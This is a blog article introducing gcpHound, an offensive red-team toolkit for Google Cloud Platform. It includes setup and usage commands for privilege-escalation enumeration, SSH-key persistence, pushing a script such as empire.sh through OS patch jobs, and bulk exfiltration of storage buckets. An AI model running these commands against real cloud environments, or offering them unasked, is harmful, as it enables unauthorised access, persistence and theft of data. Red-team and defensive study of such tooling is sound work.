gcpHound : A Swiss Army Knife Offensive Toolkit for Google Cloud Platform (GCP)
In this article, we will talk about a new tool written by me alongside Brad Richardson called “gcpHound” as well as some of the fundamentals to better understand the functionality of the tool. The primary purpose of this tool is to aid Red Team Operators while targeting environment in Google Cloud Platform (GCP).
Why gcpHound you might say ? Azure and AWS are most popular cloud platforms which means a lot of offensive research is also dedicated to those platforms ( sounds familiar ? … because it is. Classic Windows and Mac situation few years ago ).
This means a red team operator targeting Google Cloud may have to go through GCP documentation which is not very intuitive. This can be time consuming and less than ideal especially because with thousands of “fine-grained” permissions and many different features , there are lots of different opportunities as an attacker to pillage the environment ( PS : Not at all speaking from personal experience ). We will cover some of them here. Other methods, we will release in the next version of gcpHound.
So without further ado, let’s dive into it !
gcpHound at the moment has following features. We will talk about them one by one in later sections :
- Enumerate path for Privilege Escalation
- Multiple Persistence methods
- Lateral Movement
- Discovery and Collection for Google Cloud Storage (GCS) buckets
- Exfiltrate GCS Buckets
The first step into any engagement is to get Initial Access ( unless of course doing assumed breach ).
While we will not cover on How To get Initial Access in this article , I can definitely point you a good article by Cedric Owens on how you can use man in the middle attack to get the required access. More often than not , Single Sign on will get you a foothold in GCP.
A hypothetical domain using GCP is as shown in the image below.
For example , let’s say we own a domain called redteam.com and we use that domain to create four organizations : redteam.com , org1.redteam.com , org2.redteam.com , org3.redteam.com
All these organizations can have projects under it and this projects will use different features such as Compute Instances , GCS , OS Patch Management. There are features available to organization as well such as IAM.
While We can write pages about all the features GCP has and all these features have potentials of abuse , we will be covering the ones that we have included in gcpHound for the purpose of this article.
Setup is as simple as followed. You can use alternate means to authenticate such as service accounts. While setting project ID , make sure the account compromised has some permission on that project.
$ docker pull desijarvis/gcphound:v1.1-beta$ docker run --name gcpHound -it desijarvis/gcphound:v1.1-beta /bin/bashroot@<containerID># cd /root/gcpHound/root@<containerID># gcloud auth login --no-launch-browserroot@<containerID># gcloud config set project <project-id>
Highway to Privilege Escalation
As the name suggests ( long live BloodHound ) , if this tool does not do anything else , it has to do one thing and that is to find a path for Privilege Escalation. Obviously, GCP is structured a little different than Active Directory so we also have to abuse it a little differently.
gcpHound has four different functions to enumerate IAM permissions.
Enumerates IAM pemissions of the organizations.
Data collected from this functions is stored in organizations/<ORG_ID>/
USAGE :$ ./gcpHound --orgGCPHound org1.redteam.com org2.redteam.com (Make sure to use organization ID and not name of the organization)OR $ ./gcpHound --orgGCPHound ( To Enumerate all organizations )
BUG UPDATE 16th October, 2021 : If gcpHound gets stuck while querying groups ( or during groupGCPHound function ) , you can take following action to resolve it.root@<containerID># gcloud beta identity groups search --labels=cloudidentity.googleapis.com/groups.discussion_forum --organization=org1.redteam.comroot@<containerID># gcloud identity groups memberships list --firstname.lastname@example.org
Enumerates IAM pemissions of the projects as well as members of the groups listed in those IAM permissions.
Data collected from this functions is stored in projects/<project_ID>/
USAGE : $ ./gcpHound --projectGCPHound redteam-project1 redteam-project2(Make sure to use project IDs and not project names)OR$ ./gcpHound --projectGCPHound ( To Enumerate all projects )
Enumerates all groups of all the organization and fetches members of those groups
Data collected from this functions is stored in organizations/<ORG_ID>/groups
USAGE :$ ./gcpHound --groupGCPHound email@example.com firstname.lastname@example.orgOR$ ./gcpHound --groupGCPHound ( To Enumerate all groups )
This function combine all three functions above. If you are not worried about making some noise , use this one.
USAGE :$ ./gcpHound --runGCPHound
This function analyzes the data collected from previous functions to find privileges of the user.
To get out most from this function , you should use runGCPHound function beforehand.
USAGE :$ ./gcpHound --enumPrivileges( this enumerates the privileges compromised user has ) OR $ ./gcpHound --enumPrivileges email@example.com firstname.lastname@example.org email@example.com( this enumerates privileges of desired users and / or groups )
This function creates a new compute instance with public IP and adds the provided ssh public key to the instance.
While adding ssh key to GCP project OR compute instance , it has to be in a certain format.
However, you don’t have to worry about it while using this tool. Just provide the SSH public key as is.
USAGE :$ ./gcpHound addNewComputeInstance --instance redteam-instance-1 --zone us-central1-a --sshKeyFilePath ~.ssh/id_rsa.pub
Adds sshkey to existing compute instance
USAGE :$ ./gcpHound addsshkeyComputeInstance --instance redteam-instance-2 --zone us-central1-a --sshKeyFilePath ~.ssh/id_rsa.pub
This function adds the ssh key project metadata which means you can ssh to all compute instances in the project ( except for the ones that block project wide metadata ssh keys ).
It can be categorized for persistence as well.
USAGE :$ ./gcpHound addsshkeyProjectMetadata --projectId redteam-project1 --sshKeyFilePath ~.ssh/id_rsa.pub
This function pushes a patch to desired compute instance with custom provided script.
It can be categorized for persistence as well depending on the script provided.
USAGE :$ ./gcpHound executeOSPatch --instance redteam-instance-3 --zone us-central1-a --scriptFilePath empire.sh --jobname patch-tuesday
Discovery and Collection
This function discovers and collects paths for the GCS buckets.
Data collected from this functions is stored in buckets/<project_ID>/
USAGE :$ ./gcpHound --bucketLister redteam-project1 redteam-project2OR$ ./gcpHound --bucketLister ( To Enumerate Buckets for all projects )
This function downloads the GCS buckets for a specific project OR all the projects.
It is advised to not use it to download all the buckets from GCP unless that is exactly what you are trying to do. It can take significant time depending on size of the buckets as well as number projects.
Data collected from this functions is stored in buckets/<project_ID>/
USAGE :$ ./gcpHound --exfilGCSBuckets redteam-project1 redteam-project2OR$ ./gcpHound --exfilGCSBuckets ( To Exfiltrate Buckets for all projects )
Execution of this functions depends on what privilege you have. The enumprivilege function should help you pinpoint your attacks to appropriate projects and organizations.
Exfiltration function should be used with caution IF you decide to exfil all the buckets from all projects. It can take significant time depending on amount of data being downloaded.
In The End
The different way Google Cloud permissions and features can be attacked is by no means limited to these functions .
We would be adding more features as we go along such as attacking secret management , abusing KMS to decrypt buckets before downloading ( if applicable ) , leveraging network permission to find firewall rules of interest as well as creating your own if needed etc. Stay Tuned for More !
This tool has been developed alongside Brad Richardson.